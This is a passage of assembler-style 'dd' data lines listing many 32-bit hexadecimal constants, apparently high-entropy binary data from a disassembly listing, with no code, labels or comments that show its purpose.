		dd 0EDEAD9FCh, 0C6310D90h, 0D5CA8CECh, 6367626Bh, 54E8A95Eh
		dd 912F651Ah, 9A9187E4h, 56F43FEBh, 3B952807h, 1B133E5Ah
		dd 229994B6h, 0D0D5C62Eh, 457F7EA8h, 0FDECAC65h, 3F7E2288h
		dd 9D97C672h, 45B5267Fh, 6927273Ch, 3B859078h, 0EBF9A1E9h
		dd 0D98EBFA4h, 0C59362C6h, 7D3F6B2h, 0D1AA27A8h, 98592CEAh
		dd 0D49B816Dh, 43300D78h, 0D3805F2Dh, 0C7487E22h, 6663A20Dh
		dd 0E3D9E6E6h, 4AA7014Fh, 523E102h, 0B3622C8h, 1B72E4D1h
		dd 533CF01h, 0FECC67E4h, 0E30371C9h, 0C60FB911h, 0C305CAAFh
		dd 6A59D4F6h, 7C9CC97Dh, 80ED3746h, 0E46078B4h,	0E0708DC9h
		dd 87091CFAh, 687D9B00h, 0A8DF305Fh, 0B5BBEE67h, 9D61C3A0h
		dd 0A3936677h, 0EA82D2E6h, 0A0E3CC4Bh, 0BAEDC3A5h, 0CD24260Dh
		dd 0B7A38231h, 95B51822h, 51B6C98h, 8110F9CAh, 667C300Ch
		dd 324A9739h, 1B251013h, 234F7EA6h, 0CED65C3Ah,	80A5BF4Ah
		dd 0E9D547E5h, 69DF06Ah, 0D23245E9h, 0EECF230Ch, 0EA543F2Eh
		dd 139ADC01h, 6354DF5h,	9440835Eh, 8B545841h, 0FD7EC1DAh
		dd 0AED112DFh, 0C9132EA3h, 543EE493h, 1BED2A94h, 5997B939h
		dd 0DB92E7DAh, 0F721E6CAh, 7F229D1Fh, 0BDBA73E2h, 148D8E61h
		dd 42EE731Bh, 0DA8C3048h, 0AE5347F8h, 25EFD41Ch, 9C0EFAE3h
		dd 5AC293D3h, 3DF20ACh,	0F5B816A7h, 0A949DDFDh,	0D1662DAEh
		dd 7BCE585Ch, 452CD781h, 0C154E5Bh, 3CBE736Dh, 0D2AB970h
		dd 3E174166h, 6CCADFA8h, 73FFA066h, 449B1390h, 0BAEE9AEBh
		dd 0B4BD70F8h, 7D0BF97Ch, 284D87CAh, 6E3A85ACh,	4210E9C7h
		dd 0D012EC98h, 52DB5FC7h, 0F0FDB879h, 0F95FAA06h, 0DA218009h
		dd 9A0CB856h, 10C4D4A9h, 0A0B55BD9h, 0EBE182DBh, 0F4FBB564h
		dd 1217993Ch, 8994AA77h, 0ED46F700h, 0FB62262Fh, 0F855A07Ah
		dd 2A122091h, 4177CC97h, 7A1B7647h, 6C7EDF0h, 8FAD7AD3h
		dd 0E71C8B4Eh, 0CF305C82h, 0DBD53BCEh, 0BA74F414h, 0E58D4687h
		dd 0FCC84045h, 0D3CDD13Eh, 4A8C957Dh, 3263A08Dh, 0F2A476FFh
		dd 146123ECh, 8E43D2E5h, 3E280D6Fh, 79B47A34h, 204269DAh
		dd 2B25EDB9h, 0D2A49551h, 0B92DB530h, 82BCB0F1h, 9E060EDAh
		dd 49C85238h, 6F754298h, 0D5890806h, 0D23BAE77h, 0BC4B51F9h
		dd 0ADF0E945h, 0DD0F56ACh, 0B1A6C06h, 0A25D2E51h, 887DFCDEh
		dd 92C09528h, 0C779EA77h, 87DDE41h, 8E717B9Ah, 0FCE08562h
		dd 5F5FCE24h, 240D9E25h, 0FA646FFFh, 12A02E6Eh,	0C19DB273h
		dd 31F97A5h, 8B4DB1F7h,	37E01545h, 0C2EE73C8h, 34FFECBDh
		dd 85D4A363h, 5688102Dh, 8A6261B0h, 84F6933Ah, 4F25CC1Dh
		dd 975E8E56h, 0A16469F5h, 0A7C2211Eh, 0A7A4B9D1h, 41641015h
		dd 68557030h, 32AC47Fh,	0F0811D3Ch, 522285CBh, 4A6CFBB7h
		dd 311A5F76h, 1304CDD8h, 0EEE7A6DAh, 2367BF22h,	284ABB80h
		dd 5DED0BC1h, 5A39FC78h, 3BD36BFDh, 52E558A6h, 0D43409D6h
		dd 249D3A67h, 77E20756h, 1FE0CFEh, 1542802Fh, 62A18B38h
		dd 99A868B7h, 26F57126h, 0FE91F77Eh, 0EBDC9899h, 8661EADBh
		dd 91B82A3Ch, 757E3FCFh, 0A52B72DAh, 0AED992BFh, 7AC44526h
		dd 27D562A3h, 30E53EE3h, 7ECC64F1h, 0D778AFF6h,	3C0997C4h
		dd 7D735406h, 0EB1451CDh, 67BE9373h, 6B044768h,	36070F85h
		dd 7AD471BAh, 28D15975h, 30620E22h, 0EA7AF002h,	1E612887h
		dd 28E5AF5Dh, 13FF1905h, 0FA875553h, 6E21BCB3h,	3840F982h
		dd 99882C41h, 5F801F98h, 3381711Ah, 52E675CCh, 3A37A4B9h
		dd 0C776EF49h, 8E4FED6Ch, 0FCB3195h, 27754A63h,	826F833Dh
		dd 906C1BF9h, 0A1995903h, 691ED757h, 7D688610h,	9E67F99Ah
		dd 4A633E0Eh, 0B355941Bh, 7D835922h, 9819691Ah,	0A53050DBh
		dd 60CB731Fh, 0B55C0AB4h, 4D6353F8h, 7227F36Eh,	79D5780Ch
		dd 1E78F9DFh, 411EDF27h, 0B96285FCh, 856B1FCDh,	0D25F282Dh
		dd 0E4826E2Dh, 876E7C79h, 0BFB03DCCh, 1AA57DB9h, 66612F70h
		dd 9FD07DD4h, 1A57469Eh, 0BFECBB4Dh, 0F25775B8h, 2BDC892Ch
		dd 0F1527F3Ch, 0D131095h, 13ADF85h, 0C1CC58CCh,	362F978Fh
		dd 0DB866353h, 0C958426Bh, 37801168h, 67F09D76h, 79029720h
		dd 0A3D7CE20h, 6B22A27Fh, 0CEF582E3h, 1C673A18h, 1122AFB5h
		dd 2D64AEC7h, 0B223A778h, 0EE5E3FA1h, 0A77F3459h, 8233E247h
		dd 329980F3h, 17CEC752h, 6895CD96h, 0EF58252Eh,	9F42CC2Dh
		dd 7E3C8D89h, 27A0D0E7h, 0C9C6E0ADh, 0FBA3FBB4h, 2639CD66h
		dd 0C58C21F8h, 857C5972h, 5C866FBCh, 6A3BE435h,	14297EC1h
		dd 0CF359A7Bh, 0B1484CCCh, 5D85E631h, 11E6FF8Ch, 0B6E4CA74h
		dd 5B33E3CBh, 0D9742973h, 0F7BE1AE4h, 69DC2010h, 23D607E3h
		dd 503C4502h, 0B082D93Dh, 0CBA4818Dh, 0AF837F68h, 49848A89h
		dd 34C2FEADh, 8E52829Dh, 92BE7CC5h, 0A4D94A23h,	0BBEC7023h
		dd 0E6AFA85Ah, 0DE298A33h, 35866B42h, 0E6943514h, 0A679FBA3h
		dd 899EDF9Eh, 0F133B471h, 306DFD30h, 6DBC60C1h,	6C8EE83Dh
		dd 98424687h, 8F945E35h, 0B801096Eh, 233E4EF2h,	0EB48C576h
		dd 7EA74FE2h, 6F1C285h,	4B5FBFF4h, 89138A86h, 0EB2BC955h
		dd 0CDA86DD5h, 0C079EF08h, 89BAB66Bh, 0C9B23FA8h, 4C08F4EDh
		dd 97988D4Dh, 452FAADEh, 0D726D41Fh, 764F25C6h,	36F694E5h
		dd 572BF8EEh, 0E4253FC0h, 7FF571BAh, 62378D7Eh,	0CB76B8BBh
		dd 60B55FB3h, 0AD46DA2Bh, 8D5ED9D4h, 0BD0F3F2Ch, 3F35A108h
		dd 0C3A4C156h, 77C39178h, 3B64711Ah, 6F0B565Fh,	850FE3C8h
		dd 1C19D572h, 19F60A63h, 77E6DE17h, 548DE233h, 5E806DB3h
		dd 6FF96E03h, 9E9EA692h, 0E5A2152Eh, 968D4898h,	7A4F94C4h
		dd 0B085FC91h, 0AEC7BEEEh, 0AAE4D191h, 15837396h, 77BFF5A0h
		dd 9F1FF9E2h, 0B72D14DAh, 0EE86C0B2h, 9BDBE72Eh, 92B36182h
		dd 0A6B75FA9h, 0D3E0C2ABh, 68EFC512h, 33C06D98h, 0E996004h
		dd 2136C3D2h, 925372D8h, 0B44561DEh, 0E669830Ah, 0B2D3915Eh
		dd 61012E77h, 9527D2CCh, 0D25BFD08h, 253E472Dh,	508549F2h
		dd 56E0A911h, 0D9B901E0h, 0B1E0995Ch, 0A5F55802h, 3D7EAFE0h
		dd 0FE75F6F3h, 0EEA32ACFh, 59838EA8h, 4923FE54h, 8BD11C60h
		dd 0E43009D2h, 0E05AEB2Eh, 5F0CB61Bh, 0F0829A97h, 483A877Ch
		dd 0E2B48D21h, 2004F12Ch, 0EB6E34AAh, 0D5B17B78h, 7A8215Eh
		dd 27DD1EE9h, 0BE60219Eh, 0AA1B2071h, 0E6606109h, 72B9AD2Dh
		dd 312350C2h, 0C331BBA3h, 2D3EB38h, 0BE79E2C7h,	0D2BC75DCh
		dd 0C1DD8B63h, 70C3B56Ah, 73CAC6F4h, 758972h, 0AB89A3B3h
		dd 30AF234Ch, 51F45E24h, 7DE24DAFh, 0A8A7944Dh,	9E1BEF29h
		dd 53549A7Eh, 0D69850E3h, 0D2FFCAF4h, 7512EF7Eh, 0BEE16263h
		dd 1E130871h, 0A47E130Eh, 0E4F839Bh, 4DE831C2h,	3DEA336h
		dd 0DD4FF128h, 7EAEFB84h, 2B77F71Eh, 0A5A4BED5h, 1DF38E0h
		dd 73B13E0Eh, 45D13FDh,	3AED062Bh, 0F91FB001h, 12831847h
		dd 4F1BB015h, 6A0E4F0Eh, 4C3E5CEAh, 274D3976h, 0A83CC461h
		dd 0E71A9CC9h, 7B855DF6h
		dd 0CF0A70F2h, 0F93E8DA6h, 0B0A9E459h, 6CC3BCD9h, 0B7DC6923h
		dd 0FC99761Dh, 5C5D8E33h, 831E8C97h, 0C142F64h,	0B5020EE8h
		dd 571B2459h, 7504E88Ch, 151FAA2Ch, 0D1CA3358h,	42296D22h
		dd 800E79F0h, 0AB885623h, 0B667376Ch, 0E9B3CAE2h, 5C319F40h
		dd 0C2436C93h, 93B077D2h, 0D54A33C3h, 0FC1D047Bh, 5E0B9471h
		dd 0A0595CD6h, 74FEB2FCh, 6A6BC0D5h, 0B4E1E583h, 529BA3FAh
		dd 8C5FBFA3h, 0A52C383Eh, 8F110FCBh, 9A12DAD2h,	132AF4D9h
		dd 5EA98C02h, 60728F4h,	5616DB5Bh, 0CB8966B5h, 0D05226Bh
		dd 0DF57F0C5h, 0A43DFA6Bh, 66DC23DAh, 551C1BB6h, 160B111Eh
		dd 0C87DB680h, 0B2BBEF06h, 5FA8714Bh, 545229D6h, 0F30F2D7Dh
		dd 9940D47Eh, 0A6462FC6h, 91C60CD9h, 942D0143h,	2611E7DEh
		dd 9253EE9Eh, 5416229Eh, 0F03C60B5h, 7D59EF00h,	7025A2BEh
		dd 1ED71F2Ah, 9A3BB63Fh, 0C75CCB67h, 0B52CCF9Fh, 9A05807Ch
		dd 76B00DA7h, 0C0F27491h, 1C193E6Fh, 0AC20DC0h,	2272B597h
		dd 0A56D2E3Eh, 6E8E860h, 61B380D5h, 0C345EEA8h,	0CC45DEF1h
		dd 80C700F2h, 72DCF5BFh, 0C5101C81h, 1A710B00h,	38607A3Bh
		dd 0BD493965h, 7151895Eh, 3BF915FAh, 36350F5h, 3CC3F270h
		dd 5813C24Dh, 24BDD4EDh, 0E88D791Fh, 981B4A67h,	7F61EC1h
		dd 61CAFB5Ch, 4DE0B15Bh, 0CE89931Ch, 4385A4B2h,	63B948Dh
		dd 68D15409h, 0B58832D7h, 122F9360h, 0F6BBA4B5h, 51C1B00Dh
		dd 0DF0738E1h, 0C58C2412h, 69F06E62h, 8AC22EA3h, 0B6973183h
		dd 1263FEB2h, 8B0784E5h, 0A434594Bh, 6ABE0C3Ah,	0A2216383h
		dd 9CB8C7ECh, 403DC430h, 0C96BC865h, 0DEC8253Eh, 0FA3C35DCh
		dd 553ED83Ah, 0DC645C1Dh, 4904BF4Ah, 0AEA070C6h, 8C1B8D69h
		dd 5258FE6Dh, 14C3CD50h, 0AAC3F2D7h, 0D0B50250h, 56FB3F0Bh
		dd 3ADC16CEh, 0CA32B45h, 98A947FDh, 0C34CC08Eh,	0C3ED43F2h
		dd 30537AAh, 4D859BCFh,	671A2FB3h, 498E60BAh, 415A01ECh
		dd 85B5B54Ah, 68BA05C7h, 0F3F4D605h, 1D25856Fh,	2DEA92ECh
		dd 0BB380B4Ch, 0B8C35266h, 7DC5AAF2h, 323759AAh, 69064F63h
		dd 0BFBADE54h, 0EEF68F93h, 0A3A027A7h, 0CACF5611h, 59FFC2CAh
		dd 161754C4h, 53243E7Dh, 7EB72EE3h, 2E865F56h, 0D30EBDCDh
		dd 0FCA6D444h, 6993E39Dh, 0E4E10B26h, 609EDA28h, 0D199C312h
		dd 5E280D30h, 0ABA9B94Ch, 7F97AAFh, 0B50EA8E0h,	671494A3h
		dd 0F1CA4A4Dh, 0E29B132Fh, 95B9EECBh, 8E13C99Eh, 7C0420F1h
		dd 0C6BE73CEh, 0E21EE46Ch, 405FC774h, 67D84539h, 0DFF090B6h
		dd 0E7CB056Fh, 7DE4A123h, 0ADA8D2A0h, 219E1E64h, 0BC85A53Ch
		dd 9F9F84B4h, 17835300h, 0BE4A7FB4h, 5A83E036h,	0CBEA932Eh
		dd 1505A212h, 978320F9h, 1D8C4745h, 2CFC5210h, 0D78F5098h
		dd 22A6BB07h, 139BCC8h,	43FEF56Ah, 4FCA07D6h, 9791CB31h
		dd 1D598F36h, 0E473FB3Ah, 0A3D2669h, 0A38FB9A1h, 0A5A7901Dh
		dd 0EB74CC22h, 0DFA36B23h, 0A7820014h, 0CD6B28E9h, 126D5EA9h
		dd 0BEA58BF2h, 0FFB853B6h, 0C1955077h, 3D046519h, 0F764A766h
		dd 189A9313h, 16E792F3h, 4B35B915h, 98753FF6h, 0F5456A07h
		dd 7BB9BE9Fh, 2A1AA4A9h, 1DD57E06h, 99183BCh, 0E75DA5A9h
		dd 0FC23E546h, 6E03E2FEh, 0F7E89C95h, 44A2D79h,	0E6A0B21h
		dd 3218D198h, 0C4F2F0Eh, 0BF7FA118h, 884D3FD0h,	827BC52Ah
		dd 0BA977035h, 0EC8D9772h, 57C35803h, 35081AA9h, 245D28E4h
		dd 0C1382ACEh, 859E5F48h, 0AB94B97Ch, 0BBF509F6h, 8808F7ABh
		dd 1C6FB02Dh, 0CB6805C1h, 239670DDh, 0D2CB0AD0h, 0A5A9451Bh
		dd 29D9A34Ch, 0E9BA7FB4h, 37C56458h, 0E41FFE02h, 1CC2982Eh
		dd 5614FDC5h, 867FA2BBh, 5BB835Dh, 0ACE37A62h, 185A2B4Fh
		dd 0E354D818h, 14D1F972h, 29BA1313h, 5916B748h,	0EC1E1AAFh
		dd 8134CB8Eh, 85215F18h, 0E252CCC8h, 5391E1D8h,	0AC34868Ch
		dd 8FD5AD75h, 0E28D911h, 2F0A3936h, 468ADB64h, 0D49F1877h
		dd 8A71B035h, 95FA626Eh, 5BFC05FBh, 35D6DD58h, 0D56A1BBCh
		dd 0BA7A8B9Bh, 1B7B3108h, 0EA39FBB2h, 0AAE3BA12h, 74B0BFF9h
		dd 0DE733667h, 0ED44FE73h, 0C169C841h, 9EB14004h, 4B588081h
		dd 0C54B45D4h, 0E836CD05h, 44F22F21h, 9C7E2550h, 6F588958h
		dd 908F2B34h, 994275F4h, 917AB750h, 0DBA08371h,	516B5C02h
		dd 1685F353h, 0E640B716h, 1B0CD79Dh, 0E8855899h, 840314D3h
		dd 0A978B053h, 0C607CFE8h, 45079835h, 37A8698Bh, 0AB3332D8h
		dd 2BE2AFF0h, 8C8E8F19h, 4A178469h, 8F65ED31h, 0B4F174BFh
		dd 378831FBh, 5495B64Bh, 595E630Ah, 0F2833E68h,	0D1FAAF06h
		dd 0B14677F7h, 76EA8DA1h, 4F8225CBh, 24F44DFAh,	0C9E3EC35h
		dd 0A5124204h, 0ADC60E0Fh, 0F8F2B960h, 276E3C5Dh, 0CCD4F188h
		dd 0DF266E28h, 0B1AFC421h, 0B3A2FCFEh, 74191376h, 606B0CEBh
		dd 0ADFADC8h, 2F6B3B4Ah, 5C2CCFB0h, 60707DC7h, 0F1FF7DE3h
		dd 0F50EA7C8h, 0E7D04E0Fh, 644B8162h, 16E1495Ch, 1D1AC576h
		dd 98CA9740h, 77D02F47h, 0B06494CBh, 0F4078D9h,	0F19F42B0h
		dd 0C1E4CFF2h, 0EB68D647h, 0AFC7BA74h, 5A9F567Bh, 0DD19E297h
		dd 5B70FEFFh, 0BE2AA7F1h, 0FE22FBD2h, 0B4AEAF12h, 9218B367h
		dd 0DC907E52h, 6E912383h, 35103D93h, 40207049h,	0D60F349Bh
		dd 44040621h, 0B19FFEDFh, 0F144BE64h, 647DB578h, 126B239Dh
		dd 0F48D7CCAh, 0CE2D4AD7h, 9EA69174h, 0F46F88CEh, 0A3212CD8h
		dd 17131D8h, 36ED5049h,	73BC637Fh, 7204D405h, 0AE70409h
		dd 16A747DAh, 9086EE94h, 0EC87A4F9h, 0E2B2709h,	28C6412Ah
		dd 59BE588Dh, 0CE5FBAD2h, 0CAE935D1h, 0CE9BFE07h, 0E58D56CEh
		dd 848ECFFAh, 0FC403FFFh, 0B0C7C233h, 4323E3E9h, 74C6F94Ah
		dd 8094BEF7h, 0C4220928h, 22BEF61Fh, 138A64Fh, 6A006B23h
		dd 0FAB71623h, 55E80945h, 5DD5A183h, 0CF1AE5A1h, 977B991Bh
		dd 51D8A1D9h, 0F62134DDh, 0B049BA1Ah, 53A33A7Fh, 846D0667h
		dd 783B72DFh, 0E8625A83h, 0C36F7CF4h, 83A1E53Fh, 0DA5D2D28h
		dd 8F32B392h, 102EBDABh, 0E3D7977Eh, 70FBA2F7h,	4FFD00EDh
		dd 0FF7F97BFh, 780AFC14h, 0EB1E0AAEh, 3015C618h, 0E133AB6Ah
		dd 45A3EAA4h, 211B4ADEh, 0CE11F270h, 78F7ADC4h,	34FEA2ABh
		dd 1FDA7413h, 8CCFC617h, 291EAEE0h, 222745DDh, 0F39E5829h
		dd 0EFB2C461h, 0F21FBCF3h, 31E230CEh, 943B5B54h, 7C46EF3Fh
		dd 0EFE5FA6h, 5B994FEAh, 3DB087A8h, 8088FD43h, 0D0FFBF37h
		dd 8ADA8B85h, 7530DD03h, 0E05CC639h, 2ADA868h, 0BD0ABF93h
		dd 0ED611080h, 0D64E9F21h, 0E3895F97h, 2F098817h, 0DA7C14E9h
		dd 36E14E13h, 2E17D663h, 17FB70EBh, 71BDA50Ch, 53FA8316h
		dd 43C4B7A3h, 34E8E3B8h, 121E30D1h, 0CF65C81Ch,	2E9B693Fh
		dd 71F14D08h, 904495C4h, 5EF1B9C5h, 88855CC0h, 0A5928CFBh
		dd 0E9F45750h, 0FDB327D3h, 87DC4A4Fh, 0C9DC695Fh, 10A2064Fh
		dd 60252C8Ch, 0F1DC2DCDh, 24368B52h, 1800AAEAh,	0A57CD81Ch
		dd 523E4658h, 516873F2h, 8CC25D8Ah, 791D97B0h, 4EAB6339h
		dd 379830Dh, 0A62CC4D3h, 1D7A828Eh, 0CD6D02D5h,	20F89955h
		dd 0A46EC6AAh, 0C455B22Ah, 11782D5Ch, 0A79471FBh, 3AE45CCEh
		dd 2BE376DEh, 130EB3D2h, 0BB9E23B2h, 4AD2C81h, 8690B826h
		dd 64EB517Dh, 21925532h, 124F1C68h, 0C233AD7Dh,	0AB8496E8h
		dd 94495384h, 0D524C18Eh, 8B019B54h, 6813984Fh,	0F217332Ch
		dd 0AFD2B03Fh, 48090FEDh, 346E2377h, 0DBA27472h, 8764F889h
		dd 6550F505h, 0AA5D3ED9h
		dd 4847FCC5h, 0E8CDCA97h, 0ADB1E92h, 80451E85h,	0E2178FA1h
		dd 5136DB4h, 35E4BD89h,	1F81C296h, 71147437h, 9EC09C19h
		dd 0B140E2B1h, 618421F0h, 7EEC4ADDh, 0FACF31C4h, 0C64DF00Fh
		dd 0D6A7DC44h, 0CEE4758Ah, 62798CF9h, 0AA0EA062h, 140245DEh
		dd 75AC71EDh, 2F72FF43h, 53EC9A87h, 8A975A1Fh, 89350055h
		dd 63F6F9C8h, 0A0088293h, 0ED5714BFh, 820F2A15h, 0E94A7BF2h
		dd 494C2DABh, 218F1958h, 5E47B1F0h, 2C3BB342h, 93D3D75Eh
		dd 0A453DB47h, 0C64E777Fh, 0DD1DE190h, 0F9A98337h, 63A466E9h
		dd 781A845Fh, 0D49644BDh, 1A45462Fh, 0CE17E9C6h, 0AE4933Ah
		dd 0F5674648h, 38A8F358h, 6E6F46A2h, 26D82CE4h,	98463091h
		dd 0E40AD111h, 607C16DFh, 0DC875049h, 0B5867F7Eh, 1310D415h
		dd 15DAA5B6h, 0FC82EB73h, 9F4246DFh, 0CA57FD85h, 0AA77F638h
		dd 8E4E353Dh, 2B10BECFh, 449B084Ah, 7CC1992h, 55EB1A2Dh
		dd 0A0C7902Bh, 986DEA51h, 464BDC37h, 29C7148Eh,	0E16F4710h
		dd 0D61E2834h, 343EF8A7h, 0C0DF82B3h, 0A65D8227h, 3A47556Dh
		dd 28B15CE5h, 630DFC4h,	0ADA8254Eh, 8F620C86h, 0D77EFC27h
		dd 71C28E30h, 0A2ED7C8Ch, 9C07DD19h, 1246FB49h,	0FA8F4A18h
		dd 0C95B655Bh, 0B49E410Fh, 0E123ED75h, 0E34546D4h, 82CBBE32h
		dd 79F69DAh, 438AFE3h, 843F0A97h, 0C94B6B8Bh, 5E266C29h
		dd 0AAEC3028h, 2F0F4AFCh, 0E224F112h, 945DA5E7h, 5FCED64Fh
		dd 5038251h, 7B0DEAB7h,	0E3E9F06Ah, 7976E2D6h, 0C6D3C268h
		dd 86A8B106h, 9C288F7Fh, 8726AB41h, 9F84CF01h, 8879A213h
		dd 0A66C54Eh, 0C438A174h, 86D6DB99h, 1776262Eh,	0A2CCC15Fh
		dd 0FA233984h, 0F3F5FE60h, 0BF7A4A3Fh, 679CD13Eh, 6524A968h
		dd 8C9506F0h, 3CA28190h, 38A550D8h, 0D93A9313h,	0C5065672h
		dd 7D9DCB49h, 0FDA6FBA4h, 33C36A34h, 0C9863CF0h, 0E6A0A935h
		dd 49E9773Fh, 0CC8823BCh, 839A1C2Ah, 0C09A95Eh,	0D06508ACh
		dd 5C2ADD76h, 0BCBF86Eh, 0CE1AD270h, 9935C46Ah,	379F5EF4h
		dd 7B2BF780h, 0F8BC58EDh, 0CAAF45F0h, 991D7553h, 8C001Dh
		dd 0F3B2B673h, 5266A84Fh, 5CEAA406h, 0C78F56DEh, 0D647EDADh
		dd 4F08850Dh, 0D7D0A139h, 0F97A343Ah, 7FEA904Dh, 0EE830BD9h
		dd 3E6290EAh, 0B765D092h, 0DC7E29D7h, 983E3C21h, 33A32FEBh
		dd 81B088EEh, 85200182h, 0E9CA0E37h, 98B36534h,	6C7832E0h
		dd 0D3297C72h, 0BD51C973h, 0C7F29620h, 0A15DE4A8h, 835CC98Ah
		dd 9A6FC8AAh, 12D2D01Bh, 0ECA6A4B4h, 0DF5A0046h, 6118387Fh
		dd 5B2AAAAFh, 99D5621Ah, 8402DFA6h, 0F0AB4B0Fh,	0D77C7A43h
		dd 8C3A474Fh, 0F3A62C94h, 0F6310360h, 2B89E1Dh,	212EF5ACh
		dd 9B5F1609h, 43B8BA6Ch, 0A3B7FF0h, 839D0CC9h, 0E754ECD3h
		dd 8C2985E0h, 0EE3274D0h, 0DE6272EDh, 0A561D152h, 0CEA3E2AFh
		dd 7B0A8624h, 4B99A6B4h, 8B717A1Ch, 26ED186Dh, 0CA39AF20h
		dd 50CA521Ah, 79DE5083h, 72B48559h, 4CCE8144h, 0F34016A0h
		dd 0E1539442h, 6F7486C4h, 0B766B030h, 1ADA448Eh, 0F8DF79C0h
		dd 0EF828120h, 7ED1F46Ch, 8B77A077h, 58119D4Dh,	6CD30D2Fh
		dd 70CA61D7h, 129EFh, 0EB802BEDh, 7FF4B106h, 0F39F16CFh
		dd 0F56CBC79h, 791D4343h, 70541885h, 934D0082h,	2731E956h
		dd 406F8201h, 73FE1A61h, 0B43F48D7h, 0B8DB7567h, 0F4594A0Bh
		dd 0B6727AAAh, 0D63FC049h, 19CC856h, 4D0339ACh,	280D01A5h
		dd 715A8908h, 469DE5A0h, 0E61F5A3Fh, 19BD38C3h,	344DE17Dh
		dd 0F4ADF872h, 0EA82B25Fh, 8E2E5490h, 66406C40h, 88EB3B5h
		dd 10D3A43Fh, 0DBA47C06h, 2E06571Bh, 60856CEBh,	90599F6h
		dd 0E8D7797Fh, 26F01659h, 0DD540610h, 12AF3C8Eh, 0EAC8BD67h
		dd 489E6F6Ah, 1F6AF16Bh, 50AB85F2h, 0B7CA3FE9h,	764E19BDh
		dd 0E4A857CAh, 9B6D8565h, 0F2EFC30Ch, 0AC4D63AEh, 0B6CB8E66h
		dd 0FF82874Ah, 662DDD7Dh, 535B86F2h, 0A2994392h, 6B7EF5A8h
		dd 52FDA1DDh, 19DD5690h, 0E9B98838h, 1AB16D8Eh,	8074904Fh
		dd 0AB9D4FA4h, 0A965FDBAh, 0E40B06D3h, 0F3B6A51Fh, 9CA84D95h
		dd 3C250528h, 46C63B6Fh, 0E531C350h, 3BFC7531h,	723AB421h
		dd 41430C2h, 1E06090Eh,	0C965894Ah, 0CFDC09h, 58EF533Fh
		dd 0A6D5F2B6h, 4983DBBBh, 0C655F4D4h, 8E81216Bh, 5B8958Ch
		dd 22AAAA72h, 80C615D1h, 58D906F1h, 0AA37CEAFh,	0D14AD342h
		dd 44C8EC30h, 4639B078h, 0E5ABD5C4h, 0E08DBB5Bh, 0DA653h
		dd 0B2CD00C4h, 0F71A45C4h, 98584476h, 0E8C857Ah, 8A5AA5B1h
		dd 0F910846Ah, 0F9A84A1Ch, 0F3F8F329h, 33EB2B24h, 39E3A6F1h
		dd 0AD06906Fh, 196A99E4h, 7CA8471Bh, 0DD250D2Ch, 0CB1B3F6Bh
		dd 0C456EFFCh, 7AC60296h, 65365847h, 8F35FF5Ch,	7E05DCA7h
		dd 128C10E2h, 332EAB2h,	6B9F5826h, 46F74Ch, 5FE0CA8Fh
		dd 3D63A315h, 45ADF8F7h, 18C04504h, 0D95CE54h, 9A8C1EE5h
		dd 9416E48Fh, 0A06666D3h, 0A07C3FF6h, 67185C31h, 3E102A92h
		dd 0C54AC564h, 793AFC87h, 512FE5BCh, 0AFD3B1FCh, 0B201DDFEh
		dd 60E8A825h, 0C7E05E9Bh, 9EB30C29h, 56B5E94h, 6C299A47h
		dd 0BECE5A4h, 0D6B80DC6h, 0C036824Bh, 401911BCh, 0DCA31567h
		dd 3C8D4819h, 0B0C66F83h, 366CA224h, 72552300h,	26C29DB4h
		dd 0C77CE718h, 38E3B64Eh, 400BC653h, 6A2CD587h,	6F32EEADh
		dd 3AF3AA62h, 0FCC02F59h, 66B778C6h, 0B29D70CBh, 6EB7EF16h
		dd 0C6944B94h, 8E77F630h, 0FD8432Ch, 7147E178h,	3711477Bh
		dd 0CC4827EDh, 0F5AC5618h, 15AD703Bh, 2A33A156h, 837B3311h
		dd 6234ED6Ah, 0FD8B62EEh, 956DA3D5h, 0FFAAF49h,	44B56433h
		dd 23B01771h, 0FDF9253h, 0F1BF7844h, 899F19E6h,	5688B078h
		dd 41D5CA20h, 9D5D36E8h, 8E8E885Fh, 2D0F0CDAh, 54199777h
		dd 0E14FBFBCh, 40C0840Ah, 0B9EF22C7h, 65174D83h, 0DB3A09D7h
		dd 47CE356Eh, 15B166CAh, 6CB4825Eh, 5117DD8Eh, 767E1B90h
		dd 0EEB0735Fh, 88BF67A2h, 0C26365B4h, 0B9EA070Dh, 0DD9665CDh
		dd 0B743D5BDh, 0F52B9D99h, 1BC7A9BFh, 87608672h, 1C56A945h
		dd 821B22E8h, 0D34C0CD8h, 99508D76h, 9E7C30C8h,	0E3F0BE4Ch
		dd 0DCDE10B4h, 9D843334h, 0EDA129F4h, 6C455E2Dh, 0BD8A569Eh
		dd 0A290EC83h, 847FD8EEh, 3FF42E0Eh, 0E7B965EBh, 0D44B21A4h
		dd 0D4A58448h, 2312CE54h, 0B4CB0605h, 0DB5055DAh, 9411471Bh
		dd 0C36C04EBh, 7DABE470h, 7D51D663h, 54151495h,	31C19942h
		dd 0EE638978h, 0D6BA7243h, 0CBF0BF46h, 0CA4672BDh, 1B0EE455h
		dd 408A430Ch, 0FE4F1415h, 7CE6881Fh, 0E81EAE8Bh, 0A2420096h
		dd 0B009CDABh, 0C344B6FEh, 0BF77477Ch, 926413C9h, 9C762FC7h
		dd 0BF8D8307h, 0F9BB7388h, 1DC69728h, 808A8F46h, 0ED4522E0h
		dd 570C22Eh, 32D80EA2h,	5FE32BFCh, 0C346F48Ch, 0CE4C0B17h
		dd 28F24A16h, 0A833E896h, 0D49464E8h, 0B28E6710h, 0DE144A78h
		dd 66E9B5A8h, 9512FEA4h, 62CA06DDh, 35E56BCBh, 0E58E8925h
		dd 38F69D27h, 3BF8BD71h, 0A440DA7Fh, 4BACE2F4h,	55E5B37Dh
		dd 8B09E5BAh, 0F8F69263h, 4DD09E33h, 0B377B4A9h, 677D4308h
		dd 0A858FA2h, 8E5A08D9h, 2DE124CAh, 5D0BD583h, 32685E94h
		dd 0B876A314h, 88378EAAh, 1D14338Ah, 0A8659030h, 0DF693706h
		dd 0A07D1Dh, 27C6D88Eh,	0D17DF339h, 4F2BCD19h, 0B74705CDh
		dd 0D59A41E0h, 2EFF6539h, 928C4E8Ch, 0AA77B780h, 4E113204h
		dd 0CC4C632Ch, 0CA90B6F2h, 8A5616D1h, 0D04B26ECh, 53D92438h
		dd 1E18625h, 0B6C70975h
		dd 7CA7EC15h, 98F921C2h, 0C182761Fh, 49E3D4AAh,	0CB5F36C6h
		dd 0E9E6353Ch, 2DD46774h, 0B6E2DA55h, 80689ED2h, 731EC853h
		dd 7B9542C7h, 9C41EEB0h, 47CC438Eh, 0BA73CE5Eh,	30982E0Ch
		dd 7C98E55h, 31FDB645h,	57E8D180h, 0F951C3BEh, 90E96F3Fh
